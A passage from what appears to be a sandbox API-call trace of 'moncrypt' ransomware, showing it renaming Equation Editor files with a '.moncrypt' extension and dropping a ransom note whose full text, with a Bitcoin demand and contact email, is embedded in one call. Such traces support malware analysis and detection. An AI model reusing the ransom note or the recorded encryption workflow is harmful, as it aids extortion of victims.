lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1d7d8d8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0041.436] CloseHandle (hObject=0x188) returned 1 [0041.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0041.437] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0041.437] CloseHandle (hObject=0x188) returned 1 [0041.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.moncrypt", dwFileAttributes=0x20) returned 1 [0041.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0041.437] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.437] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.437] GlobalUnlock (hMem=0x44000c) returned 0 [0041.437] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.437] GlobalLock (hMem=0x440004) returned 0x553188 [0041.438] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.438] GlobalUnlock (hMem=0x44000c) returned 0 [0041.438] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.438] GlobalUnlock (hMem=0x440004) returned 0 [0041.438] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0041.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x553188, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69880, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x555198, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0041.438] GetLastError () returned 0x2 [0041.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0041.438] WriteFile (in: hFile=0x188, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18ed24*=0x649, lpOverlapped=0x0) returned 1 [0041.439] CloseHandle (hObject=0x188) returned 1 [0041.439] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0041.439] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.439] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.439] GlobalLock (hMem=0x440004) returned 0x551178 [0041.439] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.439] GlobalUnlock (hMem=0x440004) returned 0 [0041.440] GlobalLock (hMem=0x440004) returned 0x551178 [0041.440] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.440] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.440] GlobalUnlock (hMem=0x440004) returned 0 [0041.440] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.440] GlobalUnlock (hMem=0x44000c) returned 0 [0041.440] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.440] CharLowerBuffW (in: lpsz="EQNEDT32.EXE", cchLength=0xc | out: lpsz="eqnedt32.exe") returned 0xc [0041.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0041.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0041.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXEn", lpUsedDefaultChar=0x0) returned 68 [0041.441] CharLowerBuffW (in: lpsz=".EXE", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0041.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeShared\\EQUATION\\EQNEDT32.EXEn", lpUsedDefaultChar=0x0) returned 4 [0041.441] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0041.441] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.441] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.441] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.441] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.441] GlobalUnlock (hMem=0x44000c) returned 0 [0041.441] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.441] GlobalLock (hMem=0x440004) returned 0x553188 [0041.441] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.441] GlobalUnlock (hMem=0x44000c) returned 0 [0041.441] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.441] GlobalUnlock (hMem=0x440004) returned 0 [0041.441] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.441] CharLowerBuffW (in: lpsz="eqnedt32.exe.manifest", cchLength=0x15 | out: lpsz="eqnedt32.exe.manifest") returned 0x15 [0041.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", cchWideChar=77, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpUsedDefaultChar=0x0) returned 77 [0041.442] CharLowerBuffW (in: lpsz=".manifest", cchLength=0x9 | out: lpsz=".manifest") returned 0x9 [0041.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".manifest", cchWideChar=9, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".manifestd\\EQUATION\\eqnedt32.exe.manifest", lpUsedDefaultChar=0x0) returned 9 [0041.442] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0041.442] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.442] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.442] GlobalLock (hMem=0x440004) returned 0x551178 [0041.443] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.443] GlobalUnlock (hMem=0x440004) returned 0 [0041.443] GlobalLock (hMem=0x440004) returned 0x551178 [0041.443] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.443] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.443] GlobalUnlock (hMem=0x440004) returned 0 [0041.443] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.443] GlobalUnlock (hMem=0x44000c) returned 0 [0041.443] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.443] CharLowerBuffW (in: lpsz="EQNEDT32.HLP", cchLength=0xc | out: lpsz="eqnedt32.hlp") returned 0xc [0041.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0041.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0041.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLPn", lpUsedDefaultChar=0x0) returned 68 [0041.444] CharLowerBuffW (in: lpsz=".HLP", cchLength=0x4 | out: lpsz=".hlp") returned 0x4 [0041.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".hlp", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".hlpShared\\EQUATION\\EQNEDT32.HLPn", lpUsedDefaultChar=0x0) returned 4 [0041.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 0x54e200 [0041.444] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0041.444] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0041.444] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0041.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", dwFileAttributes=0x20) returned 1 [0041.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt眵?\x18") returned 9 [0041.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.moncrypt")) returned 1 [0041.446] CreateFileW (lpFileName="C:\\Program Files\\Common 